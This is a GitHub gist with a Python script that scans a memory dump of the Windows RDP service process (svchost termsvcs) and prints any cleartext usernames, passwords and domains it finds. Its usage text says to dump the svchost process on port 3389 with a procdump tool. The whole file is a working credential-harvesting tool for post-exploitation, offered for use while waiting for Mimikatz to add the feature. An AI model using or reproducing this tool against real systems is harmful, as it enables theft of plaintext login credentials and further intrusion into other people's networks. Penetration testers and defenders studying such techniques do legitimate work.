Last active
May 20, 2021 07:59
-
-
Save k4nfr3/ca2c392572da645661b62f9a71f28ba3 to your computer and use it in GitHub Desktop.
Quick python script to analyse mem dump and extract RDP clear passwords while waiting for Mimikatz to integrate it as a module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import re | |
from collections import namedtuple | |
import sys | |
# Clear text password recovery from mem dump as found by @jonasLyk Tweet : https://twitter.com/jonasLyk/status/1393058962942083076 | |
# borrowed python code from Willi Ballenthin -> https://gist.github.com/williballenthin/8e3913358a7996eab9b96bd57fc59df2 | |
# code inspired by @gentilkiwi 's video | |
# This is for those who like me wanted to play with this discovery a little and dirty python3 script while waiting to see another module in the great mimikatz tool | |
# I'm no dev so PR and constructive remarks are welcome | |
ASCII_BYTE = rb" !\"#\$%&\'\(\)\*\+,-\./0123456789:;<=>\?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\]\^_`abcdefghijklmnopqrstuvwxyz\{\|\}\\\~\t" | |
RDP_Strings = ['RDPDD', 'RDV::RDP::NetDetect::BandwidthChange'] #Server 2008 and Server 2016 tested only | |
String = namedtuple("String", ["s", "offset"]) | |
def ascii_strings(buf, n=4): | |
reg = rb"([%s]{%d,})" % (ASCII_BYTE, n) | |
ascii_re = re.compile(reg) | |
for match in ascii_re.finditer(buf): | |
yield String(match.group().decode("ascii"), match.start()) | |
def unicode_strings(buf, n=4): | |
reg = rb"((?:[%s]\x00){%d,})" % (ASCII_BYTE, n) | |
uni_re = re.compile(reg) | |
for match in uni_re.finditer(buf): | |
try: | |
yield String(match.group().decode("utf-16"), match.start()) | |
except UnicodeDecodeError: | |
pass | |
def getdomain(buf): | |
return buf.decode("UTF-16)") | |
def banner(): | |
print(' _____ ____ _____ _ ') | |
print('| __ | \| _ | ___| |___ ___ ___ ') | |
print('| -| | | __| | _| | -_| .\'| _|') | |
print('|__|__|____/|__| _____|___|_|___|__,|_| ') | |
print(' |_____| ') | |
def main(): | |
import sys | |
SVCHOST = False | |
Last1 = "" | |
Last2 = "" | |
Last3 = "" | |
SERVERNAME="" | |
with open(sys.argv[1], 'rb') as f: | |
b = f.read() | |
for s in ascii_strings(b, n=4): | |
if format(s.s).find("svchost.exe -k termsvcs")!=-1: | |
print('[*] Analyse of dump of process : {:s}'.format( s.s)) | |
SVCHOST = True | |
if format(s.s).find("COMPUTERNAME=")!=-1: | |
#print('[+] SERVERNAME : ' +s.s[13:]) | |
SERVERNAME=s.s[13:] | |
break | |
if (SVCHOST): | |
print("\n") | |
for s in unicode_strings(b): | |
#print('[+] {:d} 0x{:d}: {:s}'.format(0,s.offset, s.s)) | |
if s.s in RDP_Strings: | |
if (s.offset - Last1.offset) < 3000: | |
if (Last1.offset-Last2.offset==512): | |
#print('[+] User :{:d} 0x{:d}: {:s}'.format((s.offset - Last2.offset), Last2.offset, Last2.s)) | |
print('[+] User : \t{:s}'.format(Last2.s)) | |
#print('[+] Password : {:d} 0x{:d}: {:s}'.format((s.offset - Last1.offset), Last1.offset, Last1.s)) | |
print('[+] Password : \t{:s}'.format(Last1.s)) | |
if ((Last2.offset-Last3.offset) == 512) : | |
print('[+] Domain : \t{:d} 0x{:d}: {:s}'.format((s.offset - Last3.offset), Last3.offset, Last3.s)) | |
break | |
else: | |
# bug in case string is less than 4 char | |
domain = b[Last2.offset-512:Last2.offset] | |
if getdomain(domain).strip('\x00')!="": | |
print('[+] Domain : \t{:s}'.format(getdomain(domain))) | |
else: # can be empty, then it's local | |
print("[+] ServerName : \t"+SERVERNAME) | |
break | |
Last3=Last2 | |
Last2=Last1 | |
Last1=s | |
else: | |
print(sys.argv[1] + " doesn't seem to be a svchost dump file") | |
if __name__ == "__main__": | |
banner() | |
if len(sys.argv) != 2: | |
print("\n\nDump svchost process which listens to port 3389 port with any procdump tool") | |
print("") | |
print("Usage: " + sys.argv[0] + " svchost.dmp") | |
exit(0) | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment